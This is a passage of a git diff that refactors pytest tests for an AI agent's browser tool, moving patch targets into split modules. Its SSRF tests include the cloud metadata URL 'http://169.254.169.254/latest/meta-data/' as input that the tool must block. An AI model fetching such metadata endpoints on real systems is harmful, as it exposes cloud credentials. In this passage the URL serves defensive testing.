test_handles_eval_exception(self, monkeypatch): """If URL eval raises an exception, vision should still proceed.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) def mock_run_browser_command(task_id, command, args=None, **kwargs): if command == "eval": @@ -372,7 +374,7 @@ class TestBrowserVisionPrivateNetworkGuard: return {"success": False, "error": "unknown"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result_raw = browser_browser_vision(question="what", task_id="test") diff --git a/tests/tools/test_browser_snapshot_threshold.py b/tests/tools/test_browser_snapshot_threshold.py index e91cdde4b1..e7861f015a 100644 --- a/tests/tools/test_browser_snapshot_threshold.py +++ b/tests/tools/test_browser_snapshot_threshold.py @@ -7,6 +7,9 @@ import pytest from hermes_cli.config import DEFAULT_CONFIG from tools import browser_camofox, browser_tool +from tools import browser_tool_cloud as bt_cloud +from tools import browser_tool_lifecycle as bt_lifecycle +from tools import browser_tool_session as bt_session @pytest.fixture(autouse=True) @@ -70,7 +73,7 @@ def test_cleanup_reloads_updated_profile_config(isolated_snapshot_threshold): _write_threshold(isolated_snapshot_threshold, 15001) assert browser_tool.get_browser_snapshot_threshold() == 12000 - browser_tool.cleanup_all_browsers() + bt_lifecycle.cleanup_all_browsers() assert browser_tool.get_browser_snapshot_threshold() == 15001 @@ -82,10 +85,10 @@ def test_browser_snapshot_applies_profile_threshold( snapshot = _long_snapshot(1500) monkeypatch.setattr(browser_tool, "_is_camofox_mode", lambda: False) - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: True) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: True) monkeypatch.setattr(browser_tool, "_last_session_key", lambda task_id: task_id) monkeypatch.setattr( - browser_tool, + bt_session, "_run_browser_command", lambda *args, **kwargs: { "success": True, @@ -108,10 +111,10 @@ def test_browser_navigation_applies_profile_threshold( snapshot = _long_snapshot(1500) task_id = "threshold-navigate-test" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: True) - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: None) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: True) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) monkeypatch.setattr( - browser_tool, + bt_session, "_get_session_info", lambda session_key: { "session_name": "threshold-test", @@ -120,7 +123,7 @@ def test_browser_navigation_applies_profile_threshold( }, ) monkeypatch.setattr( - browser_tool, + bt_session, "_run_browser_command", Mock( side_effect=[ diff --git a/tests/tools/test_browser_ssrf_local.py b/tests/tools/test_browser_ssrf_local.py index bf661ddf3c..caa756cdaf 100644 --- a/tests/tools/test_browser_ssrf_local.py +++ b/tests/tools/test_browser_ssrf_local.py @@ -14,6 +14,8 @@ import json import pytest from tools import browser_tool +from tools import browser_tool_cloud as bt_cloud +from tools import browser_tool_session as bt_session def _make_browser_result(url="https://example.com"): @@ -35,7 +37,7 @@ class TestPreNavigationSsrf: monkeypatch.setattr(browser_tool, "_is_camofox_mode", lambda: False) monkeypatch.setattr(browser_tool, "check_website_access", lambda url: None) monkeypatch.setattr( - browser_tool, + bt_session, "_get_session_info", lambda task_id: { "session_name": f"s_{task_id}", @@ -46,7 +48,7 @@ class TestPreNavigationSsrf: }, ) monkeypatch.setattr( - browser_tool, + bt_session, "_run_browser_command", lambda *a, **kw: _make_browser_result(), ) @@ -55,8 +57,8 @@ class TestPreNavigationSsrf: def test_cloud_blocks_private_url_by_default(self, monkeypatch, _common_patches): """SSRF protection blocks private URLs in cloud mode.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: False) result = json.loads(browser_tool.browser_navigate(self.PRIVATE_URL)) @@ -66,8 +68,8 @@ class TestPreNavigationSsrf: def test_cloud_allows_private_url_when_setting_true(self, monkeypatch, _common_patches): """Private URLs pass in cloud mode when allow_private_urls is True.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: True) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: True) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: False) result = json.loads(browser_tool.browser_navigate(self.PRIVATE_URL)) @@ -79,8 +81,8 @@ class TestPreNavigationSsrf: def test_local_allows_private_url(self, monkeypatch, _common_patches): """Local backends skip SSRF — private URLs are always allowed.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: True) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: True) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: False) result = json.loads(browser_tool.browser_navigate(self.PRIVATE_URL)) @@ -89,8 +91,8 @@ class TestPreNavigationSsrf: def test_local_allows_public_url(self, monkeypatch, _common_patches): """Local backends pass public URLs too (sanity check).""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: True) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: True) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: True) result = json.loads(browser_tool.browser_navigate("https://example.com")) @@ -118,8 +120,8 @@ class TestPreNavigationSsrf: self, monkeypatch, _common_patches, imds_url ): """Hybrid routing must not let cloud metadata endpoints through.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) # Simulate hybrid routing kicking in for this URL (what happens on # main pre-fix — cloud provider configured, _url_is_private → True, # so the session key routes to a local Chromium sidecar). @@ -139,8 +141,8 @@ class TestPreNavigationSsrf: ): """Hybrid routing still works for ordinary private URLs — floor must be narrow enough to not break the PR #16136 feature.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_local_sidecar_key", lambda key: True) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: False) @@ -163,25 +165,25 @@ class TestIsLocalBackend: def test_camofox_is_local(self, monkeypatch): """Camofox mode counts as a local backend.""" monkeypatch.setattr(browser_tool, "_is_camofox_mode", lambda: True) - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: "anything") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: "anything") - assert browser_tool._is_local_backend() is True + assert bt_cloud._is_local_backend() is True def test_no_cloud_provider_is_local(self, monkeypatch): """No cloud provider configured → local backend.""" monkeypatch.setattr(browser_tool, "_is_camofox_mode", lambda: False) - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: None) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) - assert browser_tool._is_local_backend() is True + assert bt_cloud._is_local_backend() is True def test_camofox_overrides_container_backend(self, monkeypatch): """Camofox mode always counts as local, even with container terminal.""" monkeypatch.setattr(browser_tool, "_is_camofox_mode", lambda: True) - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: None) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) monkeypatch.setenv("TERMINAL_ENV", "docker") - assert browser_tool._is_local_backend() is True + assert bt_cloud._is_local_backend() is True # --------------------------------------------------------------------------- @@ -199,7 +201,7 @@ class TestPostRedirectSsrf: monkeypatch.setattr(browser_tool, "_is_camofox_mode", lambda: False) monkeypatch.setattr(browser_tool, "check_website_access", lambda url: None) monkeypatch.setattr( - browser_tool, + bt_session, "_get_session_info", lambda task_id: { "session_name": f"s_{task_id}", @@ -214,13 +216,13 @@ class TestPostRedirectSsrf: def test_cloud_blocks_redirect_to_private(self, monkeypatch, _common_patches): """Redirects to private addresses are blocked in cloud mode.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr( browser_tool, "_is_safe_url", lambda url: "192.168" not in url, ) monkeypatch.setattr( - browser_tool, + bt_session, "_run_browser_command", lambda *a, **kw: _make_browser_result(url=self.PRIVATE_FINAL_URL), ) @@ -232,13 +234,13 @@ class TestPostRedirectSsrf: def test_cloud_allows_redirect_to_private_when_setting_true(self, monkeypatch, _common_patches): """Redirects to private addresses pass in cloud mode with allow_private_urls.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: True) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: True) monkeypatch.setattr( browser_tool, "_is_safe_url", lambda url: "192.168" not in url, ) monkeypatch.setattr( - browser_tool, + bt_session, "_run_browser_command", lambda *a, **kw: _make_browser_result(url=self.PRIVATE_FINAL_URL), ) @@ -254,11 +256,11 @@ class TestPostRedirectSsrf: def test_cloud_allows_redirect_to_public(self, monkeypatch, _common_patches): """Redirects to public addresses always pass (cloud mode).""" final = "https://example.com/final" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: True) monkeypatch.setattr( - browser_tool, + bt_session, "_run_browser_command", lambda *a, **kw: _make_browser_result(url=final), ) @@ -277,14 +279,14 @@ class TestPostRedirectSsrf: routing — even the hybrid local sidecar path can't return IMDS content to the agent.""" imds_final = "http://169.254.169.254/latest/meta-data/" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_local_sidecar_key", lambda key: True) # _is_safe_url would catch it on main; force True to pin the # always-blocked floor as an independent gate. monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: True) monkeypatch.setattr( - browser_tool, + bt_session, "_run_browser_command", lambda *a, **kw: _make_browser_result(url=imds_final), ) @@ -310,7 +312,7 @@ class TestAllowPrivateUrlsConfig: lambda: {"browser": {"allow_private_urls": "false"}}, ) - assert browser_tool._allow_private_urls() is False + assert bt_cloud._allow_private_urls() is False @pytest.mark.parametrize( "profile_order", @@ -340,7 +342,7 @@ class TestAllowPrivateUrlsConfig: def under_profile(home): token = set_hermes_home_override(home) try: - return browser_tool._allow_private_urls() + return bt_cloud._allow_private_urls() finally: reset_hermes_home_override(token) diff --git a/tests/tools/test_browser_suspect_recycle.py b/tests/tools/test_browser_suspect_recycle.py index 5661026595..23316a8b1a 100644 --- a/tests/tools/test_browser_suspect_recycle.py +++ b/tests/tools/test_browser_suspect_recycle.py @@ -14,6 +14,10 @@ from unittest.mock import Mock import pytest import tools.browser_tool as bt +from tools import browser_tool_session as bt_session +from tools import browser_tool_cloud as bt_cloud +from tools import browser_tool_install as bt_install +from tools import browser_tool_lifecycle as bt_lifecycle TASK = "suspect-task" @@ -37,18 +41,18 @@ def _local_session(name="stuck-session"): def _install_command_stubs(monkeypatch, tmp_path, process): """Common _run_browser_command environment with a fake daemon layer.""" - monkeypatch.setattr(bt, "_find_agent_browser", lambda: "agent-browser") - monkeypatch.setattr(bt, "_requires_real_termux_browser_install", lambda _cmd: False) - monkeypatch.setattr(bt, "_chromium_installed", lambda: True) - monkeypatch.setattr(bt, "_start_browser_cleanup_thread", lambda: None) - monkeypatch.setattr(bt, "_ensure_cdp_supervisor", lambda _tid: None) - monkeypatch.setattr(bt, "_stop_cdp_supervisor", lambda _tid: None) + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda: "agent-browser") + monkeypatch.setattr("tools.browser_tool_install._requires_real_termux_browser_install", lambda _cmd: False) + monkeypatch.setattr("tools.browser_tool_install._chromium_installed", lambda: True) + monkeypatch.setattr("tools.browser_tool_lifecycle._start_browser_cleanup_thread", lambda: None) + monkeypatch.setattr("tools.browser_tool_cdp._ensure_cdp_supervisor", lambda _tid: None) + monkeypatch.setattr("tools.browser_tool_cdp._stop_cdp_supervisor", lambda _tid: None) monkeypatch.setattr(bt, "_socket_safe_tmpdir", lambda: str(tmp_path)) - monkeypatch.setattr(bt, "_write_owner_pid", lambda *_args: None) + monkeypatch.setattr("tools.browser_tool_lifecycle._write_owner_pid", lambda *_args: None) monkeypatch.setattr(bt, "_build_browser_env", lambda: {}) - monkeypatch.setattr(bt, "_merge_browser_path", lambda value: value) - monkeypatch.setattr(bt, "_get_browser_engine", lambda: "auto") - monkeypatch.setattr(bt, "_is_headed_mode", lambda: False) + monkeypatch.setattr("tools.browser_tool_install._merge_browser_path", lambda value: value) + monkeypatch.setattr("tools.browser_tool_cloud._get_browser_engine", lambda: "auto") + monkeypatch.setattr("tools.browser_tool_cloud._is_headed_mode", lambda: False) monkeypatch.setattr(subprocess, "Popen", lambda *_a, **_k: process) monkeypatch.setattr("tools.interrupt.is_interrupted", lambda: False) @@ -67,10 +71,10 @@ class TestTimeoutMarksSuspect: _install_command_stubs(monkeypatch, tmp_path, process) # Daemon alive + responsive → recycle-at-next-use branch, no kill. - monkeypatch.setattr(bt, "_read_browser_daemon_pid", lambda *_a: 4321) - monkeypatch.setattr(bt, "_pid_exists", lambda _pid: True) - monkeypatch.setattr(bt, "_verify_reapable_browser_daemon", lambda *_a: True) - monkeypatch.setattr(bt, "_browser_daemon_responsive", lambda *_a, **_k: True) + monkeypatch.setattr("tools.browser_tool_session._read_browser_daemon_pid", lambda *_a: 4321) + monkeypatch.setattr("tools.browser_tool_lifecycle._pid_exists", lambda _pid: True) + monkeypatch.setattr("tools.browser_tool_lifecycle._verify_reapable_browser_daemon", lambda *_a: True) + monkeypatch.setattr("tools.browser_tool_session._browser_daemon_responsive", lambda *_a, **_k: True) kills = [] monkeypatch.setattr("agent.deadline.kill_process_tree", lambda pid, **_k: kills.append(pid)) @@ -83,7 +87,7 @@ class TestTimeoutMarksSuspect: monkeypatch.setattr(bt._BrowserSessionBackend, "mark_suspect", counting_mark) - result = bt._run_browser_command(TASK, "click", ["@e1"], timeout=1) + result = bt_session._run_browser_command(TASK, "click", ["@e1"], timeout=1) assert result["success"] is False assert len(marks) == 1 # marked suspect exactly once @@ -102,10 +106,10 @@ class TestNextUseRecycles: bt._active_sessions[TASK] = stale bt._suspect_browser_sessions[TASK] = "browser command timed out" - monkeypatch.setattr(bt, "_start_browser_cleanup_thread", lambda: None) - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: None) - monkeypatch.setattr(bt, "_ensure_cdp_supervisor", lambda _tid: None) + monkeypatch.setattr("tools.browser_tool_lifecycle._start_browser_cleanup_thread", lambda: None) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) + monkeypatch.setattr("tools.browser_tool_cdp._ensure_cdp_supervisor", lambda _tid: None) cleanups = [] @@ -115,11 +119,11 @@ class TestNextUseRecycles: bt._active_sessions.pop(task_id, None) bt._session_last_activity.pop(task_id, None) - monkeypatch.setattr(bt, "_cleanup_single_browser_session", fake_cleanup) + monkeypatch.setattr(bt_lifecycle, "_cleanup_single_browser_session", fake_cleanup) fresh = {"session_name": "fresh-session"} - monkeypatch.setattr(bt, "_create_local_session", lambda _tid: dict(fresh)) + monkeypatch.setattr("tools.browser_tool_session._create_local_session", lambda _tid: dict(fresh)) - session = bt._get_session_info(TASK) + session = bt_session._get_session_info(TASK) assert cleanups == [TASK] # suspect session recycled exactly once assert session["session_name"] == "fresh-session" @@ -127,14 +131,14 @@ class TestNextUseRecycles: assert TASK not in bt._suspect_browser_sessions # flag consumed # A second call reuses the fresh session without another recycle. - again = bt._get_session_info(TASK) + again = bt_session._get_session_info(TASK) assert again is session assert cleanups == [TASK] def test_ensure_healthy_true_without_suspect_flag(self, monkeypatch): called = [] monkeypatch.setattr( - bt, "_cleanup_single_browser_session", lambda t: called.append(t) + bt_lifecycle, "_cleanup_single_browser_session", lambda t: called.append(t) ) assert bt._browser_session_backend(TASK).ensure_healthy() is True assert called == [] @@ -164,18 +168,18 @@ class TestSuccessfulCallNeverRecycles: recycle_calls = [] monkeypatch.setattr( - bt, "_cleanup_single_browser_session", + bt_lifecycle, "_cleanup_single_browser_session", lambda t: recycle_calls.append(t), ) discard_calls = [] monkeypatch.setattr( - bt, "_discard_timed_out_browser_session", + "tools.browser_tool_session._discard_timed_out_browser_session", lambda *a: discard_calls.append(a), ) kills = [] monkeypatch.setattr("agent.deadline.kill_process_tree", lambda pid, **_k: kills.append(pid)) - result = bt._run_browser_command(TASK, "click", ["@e1"], timeout=5) + result = bt_session._run_browser_command(TASK, "click", ["@e1"], timeout=5) assert result == {"success": True, "data": {"ok": 1}} assert bt._active_sessions[TASK] is session_info # cache untouched @@ -205,9 +209,9 @@ class TestWedgedDaemonTreeKill: _install_command_stubs(monkeypatch, tmp_path, process) # Wedged: daemon PID exists but the control socket is unresponsive. - monkeypatch.setattr(bt, "_pid_exists", lambda _pid: True) - monkeypatch.setattr(bt, "_verify_reapable_browser_daemon", lambda *_a: True) - monkeypatch.setattr(bt, "_browser_daemon_responsive", lambda *_a, **_k: False) + monkeypatch.setattr("tools.browser_tool_lifecycle._pid_exists", lambda _pid: True) + monkeypatch.setattr("tools.browser_tool_lifecycle._verify_reapable_browser_daemon", lambda *_a: True) + monkeypatch.setattr("tools.browser_tool_session._browser_daemon_responsive", lambda *_a, **_k: False) kills = [] monkeypatch.setattr( @@ -215,7 +219,7 @@ class TestWedgedDaemonTreeKill: lambda pid, **_k: kills.append(pid) or True, ) - result = bt._run_browser_command(TASK, "click", ["@e1"], timeout=1) + result = bt_session._run_browser_command(TASK, "click", ["@e1"], timeout=1) assert result["success"] is False assert kills == [daemon_pid] # tree-kill hit the daemon PID @@ -236,9 +240,9 @@ class TestWedgedDaemonTreeKill: "agent.deadline.kill_process_tree", lambda pid, **_k: kills.append(pid) or True, ) - monkeypatch.setattr(bt, "_stop_cdp_supervisor", lambda _tid: None) + monkeypatch.setattr("tools.browser_tool_cdp._stop_cdp_supervisor", lambda _tid: None) - bt._handle_browser_command_timeout(TASK, session_info, socket_dir) + bt_session._handle_browser_command_timeout(TASK, session_info, socket_dir) assert kills == [] assert TASK not in bt._active_sessions @@ -252,15 +256,15 @@ class TestFreshSessionClearsStaleFlag: """Wedged path evicts + flags; the fresh session must not inherit it.""" bt._suspect_browser_sessions[TASK] = "stale reason" - monkeypatch.setattr(bt, "_start_browser_cleanup_thread", lambda: None) - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: None) - monkeypatch.setattr(bt, "_ensure_cdp_supervisor", lambda _tid: None) + monkeypatch.setattr("tools.browser_tool_lifecycle._start_browser_cleanup_thread", lambda: None) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) + monkeypatch.setattr("tools.browser_tool_cdp._ensure_cdp_supervisor", lambda _tid: None) monkeypatch.setattr( - bt, "_create_local_session", lambda _tid: {"session_name": "fresh"} + "tools.browser_tool_session._create_local_session", lambda _tid: {"session_name": "fresh"} ) - session = bt._get_session_info(TASK) + session = bt_session._get_session_info(TASK) assert session["session_name"] == "fresh" assert TASK not in bt._suspect_browser_sessions diff --git a/tests/tools/test_browser_type_redaction.py b/tests/tools/test_browser_type_redaction.py index 10a210f7b5..46aee58976 100644 --- a/tests/tools/test_browser_type_redaction.py +++ b/tests/tools/test_browser_type_redaction.py @@ -19,7 +19,7 @@ def test_browser_type_redacts_api_key_in_output(monkeypatch): secret = "sk-proj-ABCD1234567890EFGH" with patch( - "tools.browser_tool._run_browser_command", + "tools.browser_tool_session._run_browser_command", return_value={"success": True}, ) as mock_run: result = json.loads(browser_type("@apikey", secret, task_id="redaction-test")) @@ -39,7 +39,7 @@ def test_browser_type_keeps_normal_text_in_output(monkeypatch): text = "hello world search query" with patch( - "tools.browser_tool._run_browser_command", + "tools.browser_tool_session._run_browser_command", return_value={"success": True}, ) as mock_run: result = json.loads(browser_type("@search", text, task_id="redaction-test")) @@ -57,7 +57,7 @@ def test_browser_type_failure_redacts_api_key_in_error(monkeypatch): secret = "sk-proj-ABCD1234567890EFGH" with patch( - "tools.browser_tool._run_browser_command", + "tools.browser_tool_session._run_browser_command", return_value={ "success": False, "error": f"backend failed while typing {secret}", diff --git a/tests/tools/test_browser_use_cli.py b/tests/tools/test_browser_use_cli.py index efcbfe5eba..ed51c28b0d 100644 --- a/tests/tools/test_browser_use_cli.py +++ b/tests/tools/test_browser_use_cli.py @@ -19,6 +19,9 @@ import time import pytest import tools.browser_use_cli as bu_cli +from tools import browser_tool_install as bt_install +from tools import browser_tool_cloud as bt_cloud +from tools import browser_tool_session as bt_session @pytest.fixture(autouse=True) @@ -183,8 +186,8 @@ class TestToolSurfaceSwap: import tools.browser_tool as browser_tool monkeypatch.setattr(browser_tool, "_is_browser_use_cli_mode", lambda: True) - assert browser_tool.check_browser_requirements() is False - assert browser_tool.check_browser_vision_requirements() is False + assert bt_install.check_browser_requirements() is False + assert bt_install.check_browser_vision_requirements() is False def test_browser_exec_registered_with_mode_check(self): from tools.registry import registry @@ -391,17 +394,15 @@ class TestBackendCdpResolution: assert env["BU_CDP_WS"] == "ws://operator-override:9222" def test_cdp_override_exported(self, monkeypatch): - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "http://127.0.0.1:9222") + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "http://127.0.0.1:9222") env = self._env() assert bu_cli._resolve_backend_cdp(env, "t1") is None assert env["BU_CDP_URL"] == "http://127.0.0.1:9222" def test_ws_override_uses_bu_cdp_ws(self, monkeypatch): - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "wss://connect.example/x") + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "wss://connect.example/x") env = self._env() assert bu_cli._resolve_backend_cdp(env, "t1") is None assert env["BU_CDP_WS"] == "wss://connect.example/x" @@ -409,10 +410,10 @@ class TestBackendCdpResolution: def test_cloud_provider_session_exported(self, monkeypatch): import tools.browser_tool as bt - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: object()) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: object()) monkeypatch.setattr( - bt, "_get_session_info", + bt_session, "_get_session_info", lambda task_id: {"cdp_url": "wss://browser.example/cdp/abc"}, ) env = self._env() @@ -420,32 +421,29 @@ class TestBackendCdpResolution: assert env["BU_CDP_WS"] == "wss://browser.example/cdp/abc" def test_no_provider_leaves_env_untouched(self, monkeypatch): - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: None) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) env = self._env() assert bu_cli._resolve_backend_cdp(env, "t1") is None assert "BU_CDP_WS" not in env and "BU_CDP_URL" not in env def test_provider_failure_returns_error(self, monkeypatch): - import tools.browser_tool as bt def boom(task_id): raise RuntimeError("api down") - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: object()) - monkeypatch.setattr(bt, "_get_session_info", boom) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: object()) + monkeypatch.setattr(bt_session, "_get_session_info", boom) err = bu_cli._resolve_backend_cdp(self._env(), "t1") assert err and "api down" in err def test_provider_without_cdp_returns_error(self, monkeypatch): - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: object()) - monkeypatch.setattr(bt, "_get_session_info", lambda task_id: {"cdp_url": None}) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: object()) + monkeypatch.setattr(bt_session, "_get_session_info", lambda task_id: {"cdp_url": None}) err = bu_cli._resolve_backend_cdp(self._env(), "t1") assert err and "no" in err.lower() and "CDP" in err @@ -453,7 +451,6 @@ class TestBackendCdpResolution: """session= composes with a configured provider backend: the name keys its OWN provider browser (bu-named-), so concurrent named sessions never share one browser (#86894).""" - import tools.browser_tool as bt seen = [] @@ -461,9 +458,9 @@ class TestBackendCdpResolution: seen.append(key) return {"cdp_url": "wss://browser.example/cdp/" + key} - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: object()) - monkeypatch.setattr(bt, "_get_session_info", fake_session_info) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: object()) + monkeypatch.setattr(bt_session, "_get_session_info", fake_session_info) cli = _fake_cli(tmp_path, 'cat > /dev/null\necho "bu:$BU_NAME ws:$BU_CDP_WS"\n') monkeypatch.setattr(bu_cli, "_find_cli", lambda: [cli]) result = json.loads(bu_cli.browser_exec("print(1)", session="r7k2")) @@ -479,10 +476,10 @@ class TestBackendCdpResolution: import tools.browser_tool as bt seen = [] - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: object()) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: object()) monkeypatch.setattr( - bt, "_get_session_info", + bt_session, "_get_session_info", lambda key: seen.append(key) or {"cdp_url": "wss://x/cdp/a"}, ) env1, env2 = {}, {} @@ -501,10 +498,10 @@ class TestBackendCdpResolution: class _BUProvider: name = "browser-use" - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: _BUProvider()) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: _BUProvider()) monkeypatch.setattr( - bt, "_get_session_info", + bt_session, "_get_session_info", lambda key: (_ for _ in ()).throw(AssertionError("must skip provider")), ) monkeypatch.setattr(bu_cli, "_read_browser_cfg", lambda: {"cloud_provider": "browser-use"}) @@ -520,15 +517,15 @@ class TestOwnTabPreamble: def _run(self, tmp_path, monkeypatch, *, session="", private=False, provider=False): import tools.browser_tool as bt - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") if provider: - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: object()) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: object()) monkeypatch.setattr( - bt, "_get_session_info", + bt_session, "_get_session_info", lambda key: {"cdp_url": "wss://browser.example/cdp/" + key}, ) else: - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: None) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) # fake CLI echoes stdin back so we can inspect what code was sent cli = _fake_cli(tmp_path, "cat\n") monkeypatch.setattr(bu_cli, "_find_cli", lambda: [cli]) @@ -555,10 +552,10 @@ class TestOwnTabPreamble: def test_sentinel_never_reaches_subprocess_env(self, tmp_path, monkeypatch): import tools.browser_tool as bt - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: object()) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: object()) monkeypatch.setattr( - bt, "_get_session_info", + bt_session, "_get_session_info", lambda key: {"cdp_url": "wss://browser.example/cdp/" + key}, ) cli = _fake_cli(tmp_path, 'cat > /dev/null\necho "sentinel:${_HERMES_BU_PRIVATE_BROWSER:-unset}"\n') @@ -1101,7 +1098,6 @@ class TestLightpandaBackendResolution: (BU_CDP_* env, a CDP override, a cloud provider) claimed the session.""" def _setup(self, monkeypatch, *, engine=True, info=None, boom=None): - import tools.browser_tool as bt seen = [] @@ -1111,10 +1107,10 @@ class TestLightpandaBackendResolution: raise boom return info if info is not 